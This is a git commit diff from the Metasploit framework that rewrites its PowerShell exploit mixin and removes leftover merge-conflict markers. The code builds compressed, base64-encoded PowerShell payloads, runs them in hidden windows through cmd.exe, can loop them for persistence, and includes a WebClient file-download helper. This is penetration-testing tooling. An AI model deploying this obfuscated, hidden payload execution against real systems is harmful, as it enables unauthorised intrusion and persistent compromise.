replace lib/msf/core/exploit/powershell.rb, thanks @Meatballs1
parent
9d93891395
commit
4df3b0215c
|
@ -1,175 +1,87 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
<<<<<<< HEAD
|
|
||||||
require 'rex/exploitation/powershell'
|
require 'rex/exploitation/powershell'
|
||||||
=======
|
|
||||||
require 'zlib'
|
|
||||||
>>>>>>> master
|
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Powershell
|
module Exploit::Powershell
|
||||||
|
|
||||||
<<<<<<< HEAD
|
class PshScript < Rex::Exploitation::Powershell::Script
|
||||||
class PshScript < Rex::Exploitation::Powershell::Script
|
end
|
||||||
end
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('RUN_WOW64', [
|
OptBool.new('RUN_WOW64', [
|
||||||
false,
|
false,
|
||||||
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
||||||
false
|
false
|
||||||
]),
|
]),
|
||||||
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
|
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
|
||||||
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
|
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
|
||||||
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
|
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
|
||||||
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
|
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
|
||||||
=======
|
], self.class)
|
||||||
def initialize(info = {})
|
end
|
||||||
super
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
|
|
||||||
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
|
|
||||||
OptBool.new('RUN_WOW64', [
|
|
||||||
true,
|
|
||||||
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
|
||||||
false
|
|
||||||
]),
|
|
||||||
>>>>>>> master
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
<<<<<<< HEAD
|
# Reads script into a PshScript
|
||||||
# Reads script into a PshScript
|
#
|
||||||
#
|
def read_script(script)
|
||||||
def read_script(script)
|
return PshScript.new(script)
|
||||||
return PshScript.new(script)
|
end
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
=======
|
# Insert substitutions into the powershell script
|
||||||
>>>>>>> master
|
#
|
||||||
# Insert substitutions into the powershell script
|
def make_subs(script, subs)
|
||||||
#
|
if ::File.file?(script)
|
||||||
def make_subs(script, subs)
|
script = ::File.read(script)
|
||||||
if ::File.file?(script)
|
end
|
||||||
script = ::File.read(script)
|
|
||||||
end
|
|
||||||
|
|
||||||
subs.each do |set|
|
subs.each do |set|
|
||||||
script.gsub!(set[0],set[1])
|
script.gsub!(set[0],set[1])
|
||||||
end
|
end
|
||||||
<<<<<<< HEAD
|
# if datastore['VERBOSE']
|
||||||
# if datastore['VERBOSE']
|
# print_good("Final Script: ")
|
||||||
# print_good("Final Script: ")
|
# script.each_line {|l| print_status("\t#{l}")}
|
||||||
# script.each_line {|l| print_status("\t#{l}")}
|
# end
|
||||||
# end
|
return script
|
||||||
=======
|
end
|
||||||
if datastore['VERBOSE']
|
|
||||||
print_good("Final Script: ")
|
|
||||||
script.each_line {|l| print_status("\t#{l}")}
|
|
||||||
end
|
|
||||||
>>>>>>> master
|
|
||||||
return script
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Return an array of substitutions for use in make_subs
|
# Return an array of substitutions for use in make_subs
|
||||||
#
|
#
|
||||||
def process_subs(subs)
|
def process_subs(subs)
|
||||||
return [] if subs.nil? or subs.empty?
|
return [] if subs.nil? or subs.empty?
|
||||||
new_subs = []
|
new_subs = []
|
||||||
subs.split(';').each do |set|
|
subs.split(';').each do |set|
|
||||||
new_subs << set.split(',', 2)
|
new_subs << set.split(',', 2)
|
||||||
end
|
end
|
||||||
return new_subs
|
return new_subs
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
<<<<<<< HEAD
|
# Return a gzip compressed powershell script
|
||||||
# Return a gzip compressed powershell script
|
# Will invoke PSH modifiers as enabled
|
||||||
# Will invoke PSH modifiers as enabled
|
#
|
||||||
#
|
def compress_script(script_in, eof = nil)
|
||||||
def compress_script(script_in, eof = nil)
|
# Build script object
|
||||||
# Build script object
|
psh = PshScript.new(script_in)
|
||||||
psh = PshScript.new(script_in)
|
# Invoke enabled modifiers
|
||||||
# Invoke enabled modifiers
|
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
|
||||||
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
|
mod_method = k.split('::').last.intern
|
||||||
mod_method = k.split('::').last.intern
|
psh.send(mod_method)
|
||||||
psh.send(mod_method)
|
end
|
||||||
end
|
return psh.compress_code(eof)
|
||||||
return psh.compress_code(eof)
|
end
|
||||||
=======
|
|
||||||
# Read in a powershell script stored in +script+
|
|
||||||
#
|
|
||||||
def read_script(script)
|
|
||||||
script_in = ''
|
|
||||||
begin
|
|
||||||
# Open script file for reading
|
|
||||||
fd = ::File.new(script, 'r')
|
|
||||||
while (line = fd.gets)
|
|
||||||
script_in << line
|
|
||||||
end
|
|
||||||
|
|
||||||
# Close open file
|
#
|
||||||
fd.close()
|
# Runs powershell in hidden window raising interactive proc msg
|
||||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
#
|
||||||
# Treat script as a... script
|
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
|
||||||
script_in = script
|
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
|
||||||
end
|
|
||||||
return script_in
|
|
||||||
end
|
|
||||||
|
|
||||||
|
ps_wrapper = <<EOS
|
||||||
#
|
|
||||||
# Return a zlib compressed powershell script
|
|
||||||
#
|
|
||||||
def compress_script(script_in, eof = nil)
|
|
||||||
|
|
||||||
# Compress using the Deflate algorithm
|
|
||||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
|
||||||
::Zlib::BEST_COMPRESSION)
|
|
||||||
|
|
||||||
# Base64 encode the compressed file contents
|
|
||||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
|
||||||
|
|
||||||
# Build the powershell expression
|
|
||||||
# Decode base64 encoded command and create a stream object
|
|
||||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
|
||||||
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
|
||||||
# Read & delete the first two bytes due to incompatibility with MS
|
|
||||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
|
||||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
|
||||||
# Uncompress and invoke the expression (execute)
|
|
||||||
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
|
|
||||||
psh_expression << "$(New-Object IO.Compression.DeflateStream("
|
|
||||||
psh_expression << "$stream,"
|
|
||||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
|
|
||||||
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
|
|
||||||
|
|
||||||
# If eof is set, add a marker to signify end of script output
|
|
||||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
|
||||||
|
|
||||||
# Convert expression to unicode
|
|
||||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
|
||||||
|
|
||||||
# Base64 encode the unicode expression
|
|
||||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
|
||||||
|
|
||||||
return encoded_expression
|
|
||||||
>>>>>>> master
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Runs powershell in hidden window raising interactive proc msg
|
|
||||||
#
|
|
||||||
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
|
|
||||||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
|
|
||||||
|
|
||||||
ps_wrapper = <<EOS
|
|
||||||
$si = New-Object System.Diagnostics.ProcessStartInfo
|
$si = New-Object System.Diagnostics.ProcessStartInfo
|
||||||
$si.FileName = "#{ps_bin}"
|
$si.FileName = "#{ps_bin}"
|
||||||
$si.Arguments = '#{ps_args}'
|
$si.Arguments = '#{ps_args}'
|
||||||
|
@ -180,137 +92,98 @@ $si.CreateNoWindow = $True
|
||||||
$p = [System.Diagnostics.Process]::Start($si)
|
$p = [System.Diagnostics.Process]::Start($si)
|
||||||
EOS
|
EOS
|
||||||
|
|
||||||
<<<<<<< HEAD
|
return ps_wrapper.gsub("\n",';')
|
||||||
return ps_wrapper.gsub("\n",';')
|
end
|
||||||
=======
|
|
||||||
return ps_wrapper
|
|
||||||
>>>>>>> master
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Creates cmd script to execute psh payload
|
# Creates cmd script to execute psh payload
|
||||||
#
|
#
|
||||||
<<<<<<< HEAD
|
def cmd_psh_payload(pay, old_psh=false)
|
||||||
def cmd_psh_payload(pay, old_psh=false)
|
# Allow powershell 1.0 format
|
||||||
=======
|
if old_psh
|
||||||
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
|
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||||
>>>>>>> master
|
else
|
||||||
# Allow powershell 1.0 format
|
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||||
if old_psh
|
end
|
||||||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
# Run our payload in a while loop
|
||||||
else
|
if datastore['PERSIST']
|
||||||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
||||||
end
|
sleep_time = rand(5)+5
|
||||||
# Run our payload in a while loop
|
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||||
if datastore['PERSIST']
|
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
end
|
||||||
sleep_time = rand(5)+5
|
# Determine appropriate architecture, manual method reduces script size
|
||||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
||||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
# Wrap in hidden runtime
|
||||||
end
|
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
||||||
<<<<<<< HEAD
|
# Convert to base64 for -encodedcommand execution
|
||||||
# Determine appropriate architecture, manual method reduces script size
|
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
|
||||||
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
end
|
||||||
# Wrap in hidden runtime
|
|
||||||
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
|
||||||
# Convert to base64 for -encodedcommand execution
|
|
||||||
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Useful method cache
|
# Useful method cache
|
||||||
#
|
#
|
||||||
module PshMethods
|
module PshMethods
|
||||||
|
|
||||||
#
|
#
|
||||||
# Convert binary to byte array, read from file if able
|
# Convert binary to byte array, read from file if able
|
||||||
#
|
#
|
||||||
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
||||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||||
code = code.unpack('C*')
|
code = code.unpack('C*')
|
||||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||||
lines = []
|
lines = []
|
||||||
1.upto(code.length-1) do |byte|
|
1.upto(code.length-1) do |byte|
|
||||||
if(byte % 10 == 0)
|
if(byte % 10 == 0)
|
||||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||||
else
|
else
|
||||||
lines.push ",0x#{code[byte].to_s(16)}"
|
lines.push ",0x#{code[byte].to_s(16)}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return psh << lines.join("") + "\r\n"
|
return psh << lines.join("") + "\r\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Download file to host via PSH
|
# Download file to host via PSH
|
||||||
#
|
#
|
||||||
def self.download(src,target=nil)
|
def self.download(src,target=nil)
|
||||||
target ||= '$pwd\\' << src.split('/').last
|
target ||= '$pwd\\' << src.split('/').last
|
||||||
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
|
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Uninstall app
|
# Uninstall app
|
||||||
#
|
#
|
||||||
def self.uninstall(app,fuzzy=true)
|
def self.uninstall(app,fuzzy=true)
|
||||||
match = fuzzy ? '-like' : '-eq'
|
match = fuzzy ? '-like' : '-eq'
|
||||||
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Create secure string from plaintext
|
# Create secure string from plaintext
|
||||||
#
|
#
|
||||||
def self.secure_string(str)
|
def self.secure_string(str)
|
||||||
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
|
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# MISC
|
# MISC
|
||||||
#
|
#
|
||||||
|
|
||||||
#
|
#
|
||||||
# Find PID of file locker
|
# Find PID of file locker
|
||||||
#
|
#
|
||||||
def self.who_locked_file?(filename)
|
def self.who_locked_file?(filename)
|
||||||
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def self.get_last_login(user)
|
def self.get_last_login(user)
|
||||||
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
=======
|
|
||||||
# Determine appropriate architecture
|
|
||||||
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
|
||||||
# Wrap in hidden runtime
|
|
||||||
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
|
||||||
# Convert to base64 for -encodedcommand execution
|
|
||||||
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Convert binary to byte array, read from file if able
|
|
||||||
#
|
|
||||||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
|
||||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
|
||||||
code = code.unpack('C*')
|
|
||||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
|
||||||
lines = []
|
|
||||||
1.upto(code.length-1) do |byte|
|
|
||||||
if(byte % 10 == 0)
|
|
||||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
|
||||||
else
|
|
||||||
lines.push ",0x#{code[byte].to_s(16)}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
psh << lines.join("") + "\r\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
>>>>>>> master
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue